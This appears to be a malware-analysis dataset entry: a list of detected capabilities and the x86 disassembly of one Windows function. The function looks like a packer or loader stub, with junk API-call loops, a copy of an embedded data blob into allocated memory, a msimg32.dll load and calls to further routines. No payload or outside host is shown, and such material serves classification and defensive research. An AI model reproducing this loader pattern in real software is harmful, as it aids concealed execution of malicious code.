Function at 0x420c53
Capabilities:
Accept command line arguments
Connect pipe
Create directory
Get file attributes
Get hostname
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x884
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x880], eax
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
cmp ebx, 0x11c
jne 0x420c8b
mov eax, dword [0x424430]
add eax, 0x9e49
mov dword [0x432d24], eax
cmp dword [0x432d24], 0xd5d
jne 0x420cc7
xor eax, eax
mov word [esp + 0xc], ax
lea edi, [esp + 0xe]
stosw word es:[edi], ax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
or dword [0x424f14], 0xffffffff
mov dword [0x424f10], 0xec58acac
inc ebx
cmp ebx, 0x123789a
jl 0x420c74
xor edi, edi
cmp edi, 0x55ded1
jne 0x420ce4
mov eax, dword [0x423c68]
mov dword [0x432d28], eax
cmp dword [0x432d24], 0x3c
jne 0x420cf3
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
inc edi
cmp edi, 0x5ea53c
jl 0x420cd2
cmp dword [0x432d24], 0x7c
jne 0x420ded
push esi
lea eax, [esp + 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalShrink]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
push 0x2e
lea eax, [esp + 0x5c]
push esi
push eax
mov dword [esp + 0x60], esi
call fcn.00405340
add esp, 0xc
push esi
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_RaiseException]
xor ebx, ebx
xor eax, eax
mov word [esp + 0x2c], ax
lea edi, [esp + 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x8c]
push eax
push esi
lea eax, [esp + 0x38]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x24]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp ebx, 0x257e6
jg 0x420e43
inc ebx
cmp ebx, 0xed031
jl 0x420def
jmp 0x420e57
cmp dword [0x432d24], 0xa
jne 0x420e57
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
cmp dword [0x432d24], 0x2a
jne 0x420ee8
push esi
mov dword [0x432be8], esi
mov dword [0x432bec], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push esi
push esi
push dword [esp + 0x1c]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x24]
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push esi
push esi
lea eax, [esp + 0x90]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
call fcn.00401132
push esi
call fcn.00401132
push esi
call fcn.00401015
push esi
push esi
push esi
push esi
call fcn.00401587
push esi
push esi
call fcn.004010a3
push esi
call fcn.00401344
add esp, 0x28
push dword [0x432d24]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x432d24]
xor edi, edi
mov dword [0x432a40], eax
cmp ecx, esi
jbe 0x420f2d
mov edx, dword [0x432d28]
mov dl, byte [edx + edi + 0x9e49]
mov byte [edi + eax], dl
cmp ecx, 0x5ab
jne 0x420f28
mov dword [0x432a44], 0x19b0
inc edi
cmp edi, ecx
jb 0x420f06
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.00420af6
call fcn.00420bc9
xor edi, edi
cmp dword [0x432d24], 0x41
jne 0x420f63
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp edi, 0xd606b
jne 0x420f70
call fcn.00420aeb
cmp dword [0x432d24], 0xc
jne 0x420f84
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc edi
cmp edi, 0x24e87d
jl 0x420f44
mov dword [0x432bf0], 0x8e46a6f0
cmp esi, 0x408e
jle 0x420fa9
cmp dword [esp + 0x34], 0xf5bed7
jne 0x420fb2
inc esi
cmp esi, 0x687ed2
jl 0x420f97
mov ecx, dword [esp + 0x88c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret